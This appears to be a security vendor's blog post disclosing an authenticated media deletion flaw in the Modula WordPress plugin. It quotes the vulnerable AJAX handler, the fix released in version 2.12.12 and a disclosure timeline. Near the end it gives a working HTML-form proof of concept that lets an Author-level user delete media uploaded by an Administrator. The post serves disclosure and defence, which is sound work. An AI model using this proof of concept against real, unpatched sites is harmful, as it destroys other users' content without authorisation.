13 May 2025

Our Proactive Monitoring of WordPress Plugins Caught an Authenticated Media Deletion Vulnerability in Modula

One way we help to improve the security of WordPress plugins, not just for customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. For our customers, we also run the plugins they use through an expanded version of that monitoring on a weekly basis. (Which is a good reason to use our service.) Through that, we caught a variant of one of those vulnerabilities, an authenticated media deletion vulnerability, in the plugin Modula.

In the file /includes/admin/class-modula-gallery-upload.php, the function ajax_unzip_file() is registered to be accessible to those logged in to WordPress:

81
add_action( 'wp_ajax_modula_unzip_file', array( $this, 'ajax_unzip_file' ) );

That function has code at various points that would delete arbitrary media specified that the POST input “fileID” through the function wp_delete_attachment(). Here is the beginning of the code where it does that if the file isn’t a ZIP file:

1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
public function ajax_unzip_file() {
	// Check Nonce
	check_ajax_referer( 'list-files', 'security' );
 
	// Check user rights.
	if ( ! $this->check_user_upload_rights() ) {
		wp_send_json_error( __( 'You do not have the rights to upload files.', 'modula-best-grid-gallery' ) );
	}
	if ( empty( $_POST['fileID'] ) ) {
		wp_send_json_error( __( 'No file was provided.', 'modula-best-grid-gallery' ) );
	}
 
	// Get the file ID.
	$file_id = absint( $_POST['fileID'] );
	// Get the file path.
	$file = get_attached_file( $file_id );
 
	// Validate that this is actually a zip file
	if ( ! class_exists( 'ZipArchive' ) ) {
		wp_delete_attachment( $file_id, true );
		wp_send_json_error( __( 'ZIP extension is not installed on the server.', 'modula-best-grid-gallery' ) );
	}
 
	$zip        = new ZipArchive();
	$zip_opened = $zip->open( $file );
	if ( $zip_opened !== true ) {
		wp_delete_attachment( $file_id, true );

That code checks for a valid nonce to prevent cross-site request forgery (CSRF) and limits access to users that meet the requirements of the function check_user_upload_rights(). That function checks if the user can upload files and edit posts:

107
108
109
110
111
112
113
114
115
116
117
118
public function check_user_upload_rights() {
	// Include the pluggable file if it's not already included. Seems to be a problem
	// when checking the current user capabilities.
	if ( ! function_exists( 'wp_get_current_user' ) ) {
		include_once ABSPATH . 'wp-includes/pluggable.php';
	}
	// Check if the user has the rights to upload files and edit posts.
	if ( ! current_user_can( 'upload_files' ) || ! current_user_can( 'edit_posts' ) ) {
		return false;
	}
 
	return true;

Those are both normally true for users with the Author role and above. Users with the Author role can delete media they have uploaded, but they can’t delete media others have uploaded. The code allowed them to do that.

After we notified the developer of that, they released version 2.12.12, which addresses this. That replaces direct calls of wp_delete_attachment() with a new function delete_atachment():

1028
		$this->delete_atachment( $file_id, true );

That function checks if the user is allowed to delete the media:

1154
1155
1156
1157
1158
1159
private function delete_atachment( $file_id, $force ){
	if ( ! current_user_can( 'delete_post', $file_id ) ) {
		return false;
	}
	return wp_delete_attachment( $file_id, $force );
}

Proof of Concept

The following proof of concept will delete the specified media, when logged in to WordPress as an Author

Replace “[path to WordPress]” with the location of WordPress, “media ID] with the ID of a piece of media uploaded by an Administrator, and [nonce] with the value for the key “security on the line that starts modulaGalleryUpload on the page /wp-admin/post-new.php?post_type=modula-gallery

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=modula_unzip_file" method="POST">
<input type="hidden" name="fileID" value="[media ID]" />
<input type="hidden" name="security" value="[nonce]" />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • April 29, 2025 – Developer notified.
  • April 30, 2025 – Developer responds.
  • May 13, 2025 – Fixed is released in version 2.12.12.

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Plugin Security Scorecard Grade for Modula

Checked on July 28, 2024
F

See issues causing the plugin to get less than A+ grade

Leave a Reply

Your email address will not be published.